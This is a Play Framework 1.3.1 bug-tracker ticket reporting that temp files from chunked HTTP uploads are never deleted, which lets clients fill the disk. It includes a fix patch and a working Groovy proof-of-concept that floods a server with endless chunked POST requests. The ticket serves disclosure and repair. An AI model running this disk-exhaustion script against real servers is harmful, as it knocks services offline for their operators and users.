#2006 new
David Costanzo

Files created in temp directory are not cleaned up in some error conditions

Reported by David Costanzo | December 16th, 2015 @ 06:11 PM

In some error conditions, the files that are written to {play.tmp}/GUID are not deleted. These files contain the body of the HTTP request, which is controlled by the client and can be arbitrarily large. The files are written before any routing or application-specific code is executed, which means that all applications have this problem.

The size of each file can be limited by the "play.netty.maxContentLength" parameter. However, since the files are not deleted, once one file has reached this maxContentLength, a client can create a second file, and so on. The effect is to fill the partition to which {play.tmp} is mapped. Once this is filled, the web application can no longer service requests that need to write files to the temp directory. Furthermore, any other system service which needs to write to the tmp directory will also fail. In addition to the file not being deleted, the file handle is not closed, so even if the file is deleted by an administrator, the disk space will not be reclaimed until the Play application is shutdown.

I encounter this problem when a well-intentioned user uploaded many large files through my Play! application. The files were collectively larger than the size of the tmp partition. In this case, it's expected that the upload would fail, but the problem is that, because the file wasn't deleted, the application couldn't recover from this without administrator intervention.

This is due to an incomplete fix for #906. I have attached a patch to StreamChunkAggregator.java that cleans up in error cases. I know nothing about netty, so if you know anything, you know more than me and will be able to create a smarter fix.

Framework version:
Play 1.3.1
SUSE Linux (3.0.101-0.47.55-default #1 SMP)
java version "1.8.0_45"

Reproduction Steps: Start a Play! 1 application running on localhost:9000
Run the attached proof-of-concept script (fill-tmp.groovy).
Watch the contents of play/tmp (or wherever Play is configured to write files)

What Happens: The tmp directory quickly collects large files. Eventually the /tmp partition is filled.

Expected Result: At any given time, there is only one file in /tmp

Note: the upload quota has been reached, so I cannot attach files. Instead, I will quote their contents:

Here is the patch:


diff --git a/framework/src/play/server/StreamChunkAggregator.java b/framework/src/play/server/StreamChunkAggregator.java
index 60bf0b6..ec44302 100644
--- a/framework/src/play/server/StreamChunkAggregator.java
+++ b/framework/src/play/server/StreamChunkAggregator.java
@@ -72,7 +72,7 @@ public class StreamChunkAggregator extends SimpleChannelUpstreamHandler {
                     currentMessage.setContent(new FileChannelBuffer(localFile));
                     this.out = null;
                     this.currentMessage = null;
-           this.file.delete();
+                    this.file.delete();
                     this.file = null;
                     Channels.fireMessageReceived(ctx, currentMessage, e.getRemoteAddress());
                 }
@@ -80,5 +80,21 @@ public class StreamChunkAggregator extends SimpleChannelUpstreamHandler {
         }
 
     }
-}
 
+    public void channelUnbound(ChannelHandlerContext ctx, ChannelStateEvent e) throws Exception {
+        // Cleanup the file on malformed chunking request.
+        // This handles the case where the request is malformed, incomplete, or malicious
+        // and we never receive the last chunk.
+        if (this.out != null) {
+            this.out.close();
+            this.out = null;
+        }
+
+        if (this.file != null) {
+            if (this.file.exists()) {
+                this.file.delete();
+                this.file = null;
+            }
+        }
+    }
+}

Here is fill-tmp.groovy:

#!/usr/bin/env groovy

def host = 'localhost'
def port = 9000

for (int requestNumber = 1; true; requestNumber++) {
    
    // Write a request with a large body
    def socket = new Socket(host, port)
    socket.withStreams { inStream, outStream ->
    
        outStream << "POST / HTTP/1.1\r\n"
        outStream << "Host: $host:$port\r\n"
        outStream << "Content-Length: ${Long.MAX_VALUE}\r\n"
        outStream << "Transfer-Encoding: chunked\r\n"
        outStream << "\r\n"

        for (long i = 1; i < 1000000; i++) {
            def chunk = "Large File Large File Large File Large File Large File Large File\n"
            outStream << String.format("%x\r\n%s\r\n", chunk.length(), chunk)
            outStream.flush()

            if (0 == (i % 100000)) {
                println "Request #$requestNumber: Wrote message $i times"
            }
        }
    }
}

Comments and changes to this ticket

Please Sign in or create a free account to add a new ticket.

With your very own profile, you can contribute to projects, track your activity, watch tickets, receive and update tickets through your email and much more.

New-ticket Create new ticket

Create your profile

Help contribute to this project by taking a few moments to create your personal profile. Create your profile »

<h2>Play framework</h2>

Play makes it easier to build Web applications with Java. It is a clean alternative to bloated Enterprise Java stacks. It focuses on developer productivity and targets RESTful architectures. Learn more on the <a href="http://www.playframework.org">http://www.playframework.org</a> website.<br><br>

<h2>Source code is hosted on github</h2>Check out our repository at <a href="http://github.com/playframework/play">http://github.com/playframework/play</a><br><br>

<h2>Contributing, creating a patch</h2> Please read the <a href="http://play.lighthouseapp.com/projects/57987/contributor-guide">contributor guide</a><br><br>

<h2>Reporting Security Vulnerabilities</h2> Since all bug reports are public, please report any security vulnerability directly to <em>guillaume dot bort at gmail dot com</em>.<br><br>

<h2>Creating a bug report</h2> Bug reports are incredibly helpful, so take time to report bugs and request features in our ticket tracker. We’re always grateful for patches to Play’s code. Indeed, bug reports with attached patches will get fixed far quickly than those without any.<br><br>

Please include as much relevant information as possible including the exact framework version you're using and a code snippet that reproduces the problem.<br><br>

Don't have too much expectations. Unless the bug is really a serious "everything is broken" thing, you're creating a ticket to start a discussion. Having a patch (or a branch on Github we can pull from) is better, but then again we'll only pull high quality branches that make sense to be in the core of Play.

Pages